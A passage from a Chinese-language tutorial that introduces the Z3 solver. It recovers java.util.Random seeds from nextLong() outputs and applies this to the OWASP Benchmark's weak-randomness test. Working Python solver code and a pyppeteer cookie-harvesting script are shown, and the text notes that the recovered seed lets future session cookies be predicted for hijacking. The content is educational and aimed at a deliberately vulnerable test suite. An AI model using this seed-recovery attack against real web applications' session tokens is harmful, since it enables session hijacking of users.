基于这个实现，对于nextLong()我们生成的任何数字，我们得到的信息是破坏时获得的nextInt()信息的两倍。因此，应该能够修改先前描述的约束，以Random()基于一个nextLong()调用来提取实例化值。
请注意使用BV2Int将BitVec对象转换为Int对象。在我们的示例中使用此转换迫使Z3使用算术模型，这简化了查找解决方案。
代码段链接：
def find_seed_nextLong(sequence_length: int, slope: int = 0x5DEECE66D, intercept: int = 0xB):
# Define some constants
addend = z.BitVecVal(intercept, 64)
multiplier = z.BitVecVal(slope, 64)
mask = z.BitVecVal((1 << 48) - 1, 64)
# Note we're generating double the constraints in the sequence_length + 1
# This is required since we'll be using seed_0 to extract the Random() instantiation value
# Furthermore, each nextLong call consumes two outputs from next()
next_constraints, seeds, next_outputs = make_constraints_next(n_constraints=2*sequence_length+1, gen_bits=32)
# Define a symbolic variable that we'll use to get the value that instantiated Random()
original_seed = z.BitVec('original_seed', 64)
# Build a solver object
s = z.Solver()
# Build a constraint that relates seed_0 and the value used to instantiate Random()
s.add(seeds[f'seed_0'] == (original_seed ^ multiplier) & mask)
# Next let's add the constraints we've built for next()
s.add(next_constraints)
# Define symbolic variables for the output from nextLong
# Notice: we're using a symbolic variable of type Int
# Since nextLong does a sum on ints, it's easier to model this using Z3 arithmetic models
# This differs from previous examples where we used BitVec objects exclusively
# Consequently, we'll be using the conversion method BV2Int that takes a BitVec object and turns it into an Int object
nextLong_outputs = {f'nextLong_output_{i}': z.Int(f'nextLong_output_{i}') for i in range(1, sequence_length + 1)}
# Finally, let's add the constraints for nextLong
for i, j in zip(range(1, sequence_length + 1), range(1, sequence_length * 2 + 1, 2)):
# Notice: we've replaced the bit shift operator in the source with an enquivalent multiplication
# Z3 doesn't support bit shift operations on Int objects
first_next = z.BV2Int(next_outputs[f'next_output_{j}'], is_signed=True) * 2 ** 32
second_next = z.BV2Int(next_outputs[f'next_output_{j+1}'], is_signed=True)
s.add(nextLong_outputs[f'nextLong_output_{i}'] == first_next + second_next)
# Lastly, let's return all the objects we've constructed so far
return s, original_seed, nextLong_outputs
Random()用值1337 实例化并调用了nextLong()4次。产生的序列是：
known_longs = [-6273188232032513096, -5732460968968632244, -2153239239327503087, -1872204974168004231]
尝试从序列中提取种子：
solver, original_seed, nextLong_outputs = find_seed_nextLong(sequence_length=len(known_longs))
# As mentioned before, we should have enough information in one long to extract the instantiation value
solver.add(nextLong_outputs[f'nextLong_output_{1}'] == known_longs[0])
# Lets take a look at our constraints before trying to solve them
print(solver)
[seed_0 == (original_seed ^ 25214903917) & 281474976710655,
seed_1 ==
Concat(0, 11 + 25214903917*Extract(47, 0, seed_0)),
seed_2 ==
Concat(0, 11 + 25214903917*Extract(47, 0, seed_1)),
seed_3 ==
Concat(0, 11 + 25214903917*Extract(47, 0, seed_2)),
seed_4 ==
Concat(0, 11 + 25214903917*Extract(47, 0, seed_3)),
seed_5 ==
Concat(0, 11 + 25214903917*Extract(47, 0, seed_4)),
seed_6 ==
Concat(0, 11 + 25214903917*Extract(47, 0, seed_5)),
seed_7 ==
Concat(0, 11 + 25214903917*Extract(47, 0, seed_6)),
seed_8 ==
Concat(0, 11 + 25214903917*Extract(47, 0, seed_7)),
output1 == Extract(47, 16, seed_1),
output2 == Extract(47, 16, seed_2),
output3 == Extract(47, 16, seed_3),
output4 == Extract(47, 16, seed_4),
output5 == Extract(47, 16, seed_5),
output6 == Extract(47, 16, seed_6),
output7 == Extract(47, 16, seed_7),
output8 == Extract(47, 16, seed_8),
nextLong_output_1 ==
If(output1 < 0,
BV2Int(output1) - 4294967296,
BV2Int(output1))*
4294967296 +
If(output2 < 0,
BV2Int(output2) - 4294967296,
BV2Int(output2)),
nextLong_output_2 ==
If(output3 < 0,
BV2Int(output3) - 4294967296,
BV2Int(output3))*
4294967296 +
If(output4 < 0,
BV2Int(output4) - 4294967296,
BV2Int(output4)),
nextLong_output_3 ==
If(output5 < 0,
BV2Int(output5) - 4294967296,
BV2Int(output5))*
4294967296 +
If(output6 < 0,
BV2Int(output6) - 4294967296,
BV2Int(output6)),
nextLong_output_4 ==
If(output7 < 0,
BV2Int(output7) - 4294967296,
BV2Int(output7))*
4294967296 +
If(output8 < 0,
BV2Int(output8) - 4294967296,
BV2Int(output8)),
nextLong_output_1 == -6273188232032513096]
Z3使用约束为有符号整数和生成正确的If约束。
solver.check() sat
所以计算的种子是：
solver.model()[original_seed] 1337
成功了！我们可以从一次调用中提取种子nextLong()。
其他预测数字是否等于已知值？
for i, known_long in enumerate(known_longs):
calculated_long = solver.model()[nextLong_outputs[f'nextLong_output_{i+1}']].as_long()
assert calculated_long == known_long
print('All assertions passed')
All assertions passed
结论：nextLong()提取所有未来值所需的只需一个。此外，如果我们知道生成的数量，我们也可以提取用于实例化的Random()值。
OWASP基准测试和检测弱随机性
接下来，我们希望将我们的方法应用于实际用例。
开放式Web应用程序安全项目（OWASP）是一个在线社区，可以在Web应用程序安全性领域生成免费的文章，方法，文档，工具和技术。在OWASP生产的众多资源中，他们提供免费开放的测试套件，旨在提供软件漏洞检测工具和服务的速度，覆盖范围和准确性，称为OWASP Benchmark。Benchmark 作为Docker镜像提供，包含数千个完全可运行且可利用的测试用例。
一组可用的测试处理弱随机数生成器。具体来说，我们将使用BenchmarkTest00086通过调用生成一个随机数java.util.Random.nextLong()，并将其作为cookie的值返回。为了展示我们的方法对现实世界案例的适用性，我们想要提取Random（）实例化值（在这种情况下将是System.currentTimeMillis()，因为Random()实例化时没有输入值）。来自OWASP Benchmark github存储库的测试源：
65: long l = new java.util.Random().nextLong(); 66: String rememberMeKey = Long.toString(l); ... 94: javax.servlet.http.Cookie rememberMe = new javax.servlet.http.Cookie(cookieName, rememberMeKey);
为了获取cookie，我们将使用基于puppeteer（Chromium的无头API）及其'python绑定pyppeteer的小实用程序功能：
代码段链接：
url = 'https://my.external.ip:8443/benchmark/weakrand-00/BenchmarkTest00086?BenchmarkTest00086=SafeText'
import asyncio
try:
from pyppeteer import launch
except ModuleNotFoundError:
!pip install pyppeteer
from pyppeteer import launch
async def get_cookie(url: str) -> int:
browser = await launch({'headless': True,
'args': ['--no-sandbox', '--disable-setuid-sandbox'],
'ignoreHTTPSErrors': True});
page = await browser.newPage()
await page.goto(url)
elementList = await page.querySelectorAll('form')
button = await elementList[0].querySelectorAll('input')
await button[0].click()
await page.waitForNavigation();
cookies = await page.cookies()
for cookie in cookies:
if cookie['name'] == 'rememberMe00086':
return int(cookie['value'])
cookie_nums = []
for i in range(1):
cookie_nums.append(await get_cookie(url = url))
cookie_nums
[-8886403976268848760]
solver, original_seed, nextLong_outputs = find_seed_nextLong(sequence_length=len(known_longs))
# As mentioned before, we should have enough information in single long to extract the instantiation value
solver.add(nextLong_outputs[f'nextLong_output_{1}'] == cookie_nums[0])
# Check if satisfiable
print(f'Constraints are: {solver.check()}')
# Extract seed
print(f'Instantiation value is: {solver.model()[original_seed]}')
Constraints are: sat
Instantiation value is: 75531093912490
java.util.Random()使用一次调用来提取用于实例化类的种子nextLong()。现在独立验证这个种子产生从OWASP Benchmark获得的值：
OWASP Benchamrk产生的值：
-8886403976268848760
因此，使用提取的种子，可以计算服务器的本地时间。利用这些知识并通过在前进方向上运行我们的算法，可以预测分配给未来cookie的值，从而进行会话劫持攻击。
0x04 最后的话
这篇文章是Z3的介绍性文章：来自Microsoft Research的SAT求解器。演示了Z3的基本用法，约束生成和解决方案提取。另外，我们演示了Z3如何用于符号执行PRNG算法并使用算法输出提取隐藏的内部状态。最后，我们使用OWASP Benchamrk展示了这种能力，并展示了该方法如何用作PRNG探测器。
虽然可以在网络上找到类似的例子，但找不到全面的介绍性文章。我们希望这篇文章为Z3提供了一个很好的介绍，证明它可用于分析源代码并激发安全专业人员对此方法的兴趣。
0x05 相关笔记
丹尼斯·尤里切夫（Dennis Yurichev）预定了许多Z3实例
0x06 研究背景
如有侵权请联系:admin#unsafe.sh